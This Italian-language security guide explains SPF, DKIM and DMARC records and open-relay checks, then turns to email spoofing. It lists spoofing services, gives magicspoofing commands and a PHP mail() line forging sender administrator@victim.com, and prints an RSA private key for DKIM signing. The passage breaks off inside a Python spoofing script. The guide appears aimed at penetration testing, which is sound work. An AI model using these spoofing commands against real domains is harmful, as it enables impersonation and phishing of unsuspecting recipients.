Un reindirizzamento è un puntatore a un altro nome di dominio che ospita una politica SPF, consente a più domini di condividere la stessa politica SPF. È utile quando si lavora con un gran numero di domini che condividono la stessa infrastruttura email.
La politica SPF del dominio indicato nel meccanismo di reindirizzamento sarà utilizzata.
| È anche possibile identificare **Qualificatori** che indicano **cosa dovrebbe essere fatto se un meccanismo corrisponde**. Per impostazione predefinita, viene utilizzato il **qualificatore "+"** (quindi se un meccanismo corrisponde, significa che è consentito).\ Di solito noterai **alla fine di ogni politica SPF** qualcosa come: **\~all** o **-all**. Questo viene utilizzato per indicare che **se il mittente non corrisponde a nessuna politica SPF, dovresti contrassegnare l'email come non affidabile (\~) o rifiutare (-) l'email.** #### Qualificatori Ogni meccanismo all'interno della politica può essere preceduto da uno dei quattro qualificatori per definire il risultato previsto: * **`+`**: Corrisponde a un risultato PASS. Per impostazione predefinita, i meccanismi assumono questo qualificatore, rendendo `+mx` equivalente a `mx`. * **`?`**: Rappresenta un risultato NEUTRALE, trattato in modo simile a NONE (nessuna politica specifica). * **`~`**: Denota SOFTFAIL, fungendo da punto intermedio tra NEUTRAL e FAIL. Le email che soddisfano questo risultato sono tipicamente accettate ma contrassegnate di conseguenza. * **`-`**: Indica FAIL, suggerendo che l'email dovrebbe essere rifiutata. Nell'esempio seguente, viene illustrata la **politica SPF di google.com**. Nota l'inclusione delle politiche SPF di diversi domini all'interno della prima politica SPF: ```shell-session dig txt google.com | grep spf google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all" dig txt _spf.google.com | grep spf ; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com ;_spf.google.com. IN TXT _spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all" dig txt _netblocks.google.com | grep spf _netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all" dig txt _netblocks2.google.com | grep spf _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all" dig txt _netblocks3.google.com | grep spf _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all" ``` Tradizionalmente era possibile falsificare qualsiasi nome di dominio che non avesse un record SPF corretto/assente. **Oggigiorno**, se **l'email** proviene da un **dominio senza un record SPF valido** verrà probabilmente **rifiutata/marcata come non attendibile automaticamente**. Per controllare lo SPF di un dominio puoi utilizzare strumenti online come: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html) ### DKIM (DomainKeys Identified Mail) DKIM è utilizzato per firmare le email in uscita, consentendo la loro validazione da parte di agenti di trasferimento di posta esterni (MTA) attraverso il recupero della chiave pubblica del dominio da DNS. Questa chiave pubblica si trova nel record TXT di un dominio. Per accedere a questa chiave, è necessario conoscere sia il selettore che il nome del dominio. Ad esempio, per richiedere la chiave, il nome del dominio e il selettore sono essenziali. Questi possono essere trovati nell'intestazione della mail `DKIM-Signature`, ad esempio, `d=gmail.com;s=20120113`. Un comando per recuperare queste informazioni potrebbe apparire così: ```bash dig 20120113._domainkey.gmail.com TXT | grep p= # This command would return something like: 20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3 ``` ### DMARC (Domain-based Message Authentication, Reporting & Conformance) DMARC migliora la sicurezza delle email basandosi sui protocolli SPF e DKIM. Definisce politiche che guidano i server di posta nella gestione delle email da un dominio specifico, inclusi come gestire i fallimenti di autenticazione e dove inviare rapporti sulle azioni di elaborazione delle email. **Per ottenere il record DMARC, è necessario interrogare il sottodominio \_dmarc** ```bash # Reject dig _dmarc.facebook.com txt | grep DMARC _dmarc.facebook.com. 3600 IN TXT "v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100" # Quarantine dig _dmarc.google.com txt | grep DMARC _dmarc.google.com. 300 IN TXT "v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com" # None dig _dmarc.bing.com txt | grep DMARC _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;" ``` #### DMARC tags | Tag Name | Purpose | Sample | | -------- | --------------------------------------------- | ------------------------------- | | v | Protocol version | v=DMARC1 | | pct | Percentuale di messaggi soggetti a filtraggio | pct=20 | | ruf | URI di reporting per rapporti forensi | ruf=mailto:authfail@example.com | | rua | URI di reporting di rapporti aggregati | rua=mailto:aggrep@example.com | | p | Politica per il dominio organizzativo | p=quarantine | | sp | Politica per i sottodomini dell'OD | sp=reject | | adkim | Modalità di allineamento per DKIM | adkim=s | | aspf | Modalità di allineamento per SPF | aspf=r | ### **E i Sottodomini?** **Da** [**qui**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\ È necessario avere record SPF separati per ogni sottodominio da cui si desidera inviare email.\ Quanto segue è stato originariamente pubblicato su openspf.org, che era una grande risorsa per questo tipo di cose. > La Domanda Demon: E i sottodomini? > > Se ricevo email da pielovers.demon.co.uk, e non ci sono dati SPF per pielovers, dovrei tornare a un livello e testare SPF per demon.co.uk? No. Ogni sottodominio di Demon è un cliente diverso, e ogni cliente potrebbe avere la propria politica. Non avrebbe senso che la politica di Demon si applicasse a tutti i suoi clienti per impostazione predefinita; se Demon vuole farlo, può impostare record SPF per ogni sottodominio. > > Quindi il consiglio per i publisher SPF è questo: dovresti aggiungere un record SPF per ogni sottodominio o hostname che ha un record A o MX. > > I siti con record A o MX wildcard dovrebbero avere anche un record SPF wildcard, della forma: \* IN TXT "v=spf1 -all" Questo ha senso: un sottodominio potrebbe trovarsi in una posizione geografica diversa e avere una definizione SPF molto diversa. ### **Open Relay** Quando vengono inviate email, è cruciale garantire che non vengano contrassegnate come spam. Questo viene spesso realizzato attraverso l'uso di un **server di relay di cui si fida il destinatario**. Tuttavia, una sfida comune è che gli amministratori potrebbero non essere completamente consapevoli di quali **intervalli IP siano sicuri da consentire**. Questa mancanza di comprensione può portare a errori nella configurazione del server SMTP, un rischio frequentemente identificato nelle valutazioni di sicurezza. Una soluzione alternativa che alcuni amministratori utilizzano per evitare problemi di consegna delle email, specialmente riguardo alle comunicazioni con clienti potenziali o in corso, è **consentire connessioni da qualsiasi indirizzo IP**. Questo viene fatto configurando il parametro `mynetworks` del server SMTP per accettare tutti gli indirizzi IP, come mostrato di seguito: ```bash mynetworks = 0.0.0.0/0 ``` Per verificare se un server di posta è un open relay (il che significa che potrebbe inoltrare email da qualsiasi fonte esterna), lo strumento `nmap` è comunemente utilizzato. Include uno script specifico progettato per testare questo. Il comando per eseguire una scansione dettagliata su un server (ad esempio, con IP 10.10.10.10) sulla porta 25 utilizzando `nmap` è: ```bash nmap -p25 --script smtp-open-relay 10.10.10.10 -v ``` ### **Strumenti** * [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Controlla le misconfigurazioni di SPF e DMARC** * [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Ottieni automaticamente le configurazioni di SPF e DMARC** ### Invia Email Spoof * [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index) * [**http://www.anonymailer.net/**](http://www.anonymailer.net) * [**https://emkei.cz/**](https://emkei.cz/) **Oppure puoi usare uno strumento:** * [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing) ```bash # This will send a test email from test@victim.com to destination@gmail.com python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com # But you can also modify more options of the email python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com ``` {% hint style="warning" %} Se ricevi un **errore utilizzando la libreria dkim python** durante l'analisi della chiave, sentiti libero di utilizzare questa seguente.\ **NOTA**: Questa è solo una soluzione temporanea per effettuare controlli rapidi nei casi in cui, per qualche motivo, la chiave privata openssl **non possa essere analizzata da dkim**. ``` -----BEGIN RSA PRIVATE KEY----- MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1 koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq 1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf 422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ== -----END RSA PRIVATE KEY----- ``` {% endhint %} **Oppure potresti farlo manualmente:** {% tabs %} {% tab title="PHP" %}# Questo invierà un messaggio non firmato
mail("your_email@gmail.com", "Oggetto di Test!", "hey! Questo è un test", "From: administrator@victim.com");
{% endtab %}
{% tab title="Python" %}
```python
# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py
import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""